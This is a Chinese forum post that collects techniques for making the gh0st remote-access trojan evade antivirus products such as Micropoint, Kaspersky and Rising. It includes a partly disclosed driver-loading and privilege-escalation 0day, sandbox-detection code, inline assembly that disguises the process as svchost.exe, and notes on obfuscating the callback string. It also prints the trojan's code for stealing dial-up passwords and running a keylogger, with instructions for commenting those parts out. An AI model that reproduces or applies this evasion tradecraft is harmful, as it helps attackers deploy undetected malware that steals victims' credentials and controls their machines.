御剑临风.
禁止访问
积分 625
发帖 659
注册 2009-4-10
|
#1 【通杀目前绝大部分主动防御】
纯粹的测试演示,详细的看原贴,因为是录象,所以放到这个版块。
原帖子地址:[url]http://forum.darkst.com/viewthread.php?tid=33246[/url]
[url]http://www.darkst.com/bbs/thread-33246-1-1.html[/url]
gh0st3.6过微点的方法
无意中发现的,只要利用VB把服务端捆绑到一个正常的软件上,直接过掉微点什
么提示都没有,真是让我十分的无语啊..........
【教程】给鸽子加壳你也可以过微点!
[url]http://www.darkst.com/bbs/thread-47310-1-1.html[/url]
过微点的行为主动
[url]http://www.darkst.com/bbs/thread-47544-1-1.html[/url]
一种新的加载驱动方法非完整爆光
端午小放血一下,一种新的加载驱动方法,应该属于0day。为了网民考虑,我不会公开全部技术,但如果有心,根据这些要点肯定可以研究出这个技术。
加载步骤:
1。编写一驱动,不用关sfc,直接复制替换系统目录下的某文件。
2。调用某API函数,此函数不是由ntdll,kernel32,user32这些DLL导出的,是可以在MSDN里查到的,为便于说明我叫它func1,如果不出意外驱动就已经加载了。
伪代码只有两行:
CopyFile("aaa.sys",'c:\\windows\\system32\XXXX.XXX',false);
func1(...);
特别注意:加载的驱动不能用一般的驱动,一般的驱动的入口点是
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath );
而这个驱动的入口点函数应该写成
NTSTATUS DriverEntry(LPVOID a,LPVOID b,LPVOID c)//注意,它没有PDRIVER_OBJECT
说明:
1。我大概测试了下以下杀软,没有一个报的
xp vista win7
瑞星+360 不报
超级巡警 不报
kis7 不报
微点 不报
卡巴2009 加载驱动不报,替换文件报(xyzreg帮助测试)
2。只要能替换system32目录下的那个文件,调用那个func1函数是没有权限要求的,所以在fat32系统上应该能直接从低权限提升到system权限。(也算是一个提权0day了)
3。好像貌似有办法不用自己调用func1函数,可以在替换文件后让csrss进程去加载这个驱动,也就是说杀软如果报了,也不会报你的程序。。。。。但我还没有完全研究出来,此条不一定正确。
4。发现此0day时间不长,工作又太忙,还没仔细研究,以上说明中可能有些不妥的地方,望谅解。
欢迎大家一起讨论啊
gh0st的分析(6.6)更新(转)
这些我只是简单分析下,个人技术问题,有什么问题就回帖。
1.gh0st的专版上线
在\gh0st\StdAfx.h 和 \Server\svchost\common\login.h 里找到
BYTE bToken; // = 1
OSVERSIONINFOEX OsVerInfoEx; // 版本信息
int CPUClockMhz; // CPU主频
IN_ADDR IPAddress; // 存储32位的IPv4的地址数据结构
char HostName[50]; // 主机名
bool bIsWebCam; // 是否有摄像头
DWORD dwSpeed; // 网速
修改为:
BYTE bToken; // = 1
DWORD dwSpeed; // 网速
OSVERSIONINFOEX OsVerInfoEx; // 版本信息
int CPUClockMhz; // CPU主频
IN_ADDR IPAddress; // 存储32位的IPv4的地址数据结构
char HostName[50]; // 主机名
bool bIsWebCam; // 是否有摄像头
感谢 Aisht 对这个的帮助。
共两处修改,对于好。
2.gh0st简单免杀
免杀DLL,在DLLMAIN函数内加花指令
免杀EXE,在WINMAIN函数内加花
这样就可以过金山,江民(不过就是加花太简单,推荐女王大大的那个花指令生成器)
免杀金山在WINMAIN函数的里面的GetInputState 这个WIN32 API前面。
3.真正完全去除驱动
按照洪流的gh0st去除SYS的教程,弄好了,再查找:IDR_SYS,两处没有注释的资源
//注释掉。
4.过卡巴(各版本)
#include <tlhelp32.h>
DWORD fpid,epid;
void VMM()
{
PROCESSENTRY32 pe;
HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if (Process32First(hkz,&pe))
{
do
{
if (stricmp(pe.szExeFile,"explorer.exe")==0) //卡巴虚拟机没有模拟
{
epid=pe.th32ProcessID;
}
}
while(Process32Next(hkz,&pe));
}
}
将以上代码加入程序就可以过卡巴启发
加入DLL的话,就不调用他,就过卡巴杀DLL文件
加入EXE的话,在WinMain函数内调用
VMM();
if(!epid)return 0;
以上代码是列举进程,如果PID值等于0则退出,因为注定的进程值不可能等于0,0则表示在虚拟机或者沙盘环境。
4.一段忽悠进程的代码
一下代码在NB里面提取出来的:
//------------将该进程伪装为svchost.exe----------
void ByPassFireWall()
{
char szpath[64];
static char modulepath[128];//一定是全局变量,why?
GetSystemDirectory(szpath,64);
strcat(szpath,"\\svchost.exe");
//转化为Unicode字符
for (int ii=0;ii<64;ii++)
{
modulepath[ii*2] = szpath[ii];
modulepath[ii*2+1] = 0;
}
//检测瑞星防火墙,防止蓝屏
bool NoRing=true;
HANDLE Snapshot;
Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 processListStr;
processListStr.dwSize=sizeof(PROCESSENTRY32);
BOOL return_value;
return_value=Process32First(Snapshot,&processListStr);
int i=0;//item index
char ProcessName[32];
while(return_value)
{
strcpy(ProcessName,processListStr.szExeFile);
for(int t=0;t<strlen(ProcessName);t++)
{
ProcessName[t]=processListStr.szExeFile[t]|0x20;
}
if(strstr(ProcessName,"rfwsrv.exe")!=NULL)
{
NoRing=false;
break;
}
return_value=Process32Next(Snapshot,&processListStr);
//获得系统进程链表中下一个进程的信息
i++;
}
if (NoRing)
{
__asm
{
MOV EAX, fs:[30h]
MOV EAX, [EAX+0xC]
MOV EAX, [EAX+0xC]
lea ebx,modulepath
mov WORD ptr[EAX+0x24],0x60
mov [EAX+0x28],ebx
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10]
lea EAX,[EAX+0x3c]
lea ebx,modulepath
mov [eax],ebx //ImagePathName->Buffer
mov WORD ptr[eax-4],0x60 //ImagePathName->Length
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea eax,[EAX+0x44] //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
lea ebx,modulepath
mov [eax],ebx //CommandLine-->Buffer
mov WORD ptr[eax-4],0x60 //CommandLine-->Length
}
}
else
{
__asm
{
MOV EAX, fs:[30h]
MOV EAX, [EAX+0xC]
MOV EAX, [EAX+0xC]
lea ebx,modulepath
mov WORD ptr[EAX+0x24],0x60
mov [EAX+0x28],ebx
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea eax,[EAX+0x44] //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
lea ebx,modulepath
mov [eax],ebx //CommandLine-->Buffer
mov WORD ptr[eax-4],0x60 //CommandLine-->Length
}
}
}
因为也列举了进程的判断,所以需要加头文件
#include <tlhelp32.h>
5.上线字符串算法
在base64的基础上又作了一个加密,下面是gh0st V3.6的源码中的:
char* MyDecode(char *str)
{
int i, len;
char *data = NULL;
len = base64_decode(str, &data);
for (i = 0; i < len; i++)
{
data -= 0x86;
data ^= 0x19;
}
return data;
}
可以修改base64_decode算法的字符串顺序,两处对应修改。
6.去除键盘记录(要写全局钩子,会被微点拦截)和获取宽带连接的东东
我直接修改代码,界面自己改
查找:Dialupass.h
两处,注视掉。
在Source Files下面删除Dialupass.cpp,超找发送宽带连接密码的函数:
“SendDialupassList”
void SendDialupassList();
改为:
// void SendDialupassList();
void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
}
nPacketLen += 1;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
DWORD dwOffset = 1;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
{
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
dwOffset += nFieldLength;
}
}
lpBuffer[0] = TOKEN_DIALUPASS;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
改为:
/*
void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
}
nPacketLen += 1;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
DWORD dwOffset = 1;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
{
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
dwOffset += nFieldLength;
}
}
lpBuffer[0] = TOKEN_DIALUPASS;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
*/
case COMMAND_DIALUPASS:
SendDialupassList();
break;
这处
改为
/*
case COMMAND_DIALUPASS:
SendDialupassList();
break;
*/
宽带密码获取去掉了。
查找:Loop_KeyboardManager
这儿:
case COMMAND_KEYBOARD:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
注视掉
/*
case COMMAND_KEYBOARD:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
*/
,
DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CKeyboardManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
改为:
/*
DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CKeyboardManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
*/
键盘记录这处,还有不少相关的,暂时这儿修改,可以让他不调用。
|
※ ※ ※ 本文纯属【御剑临风.】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|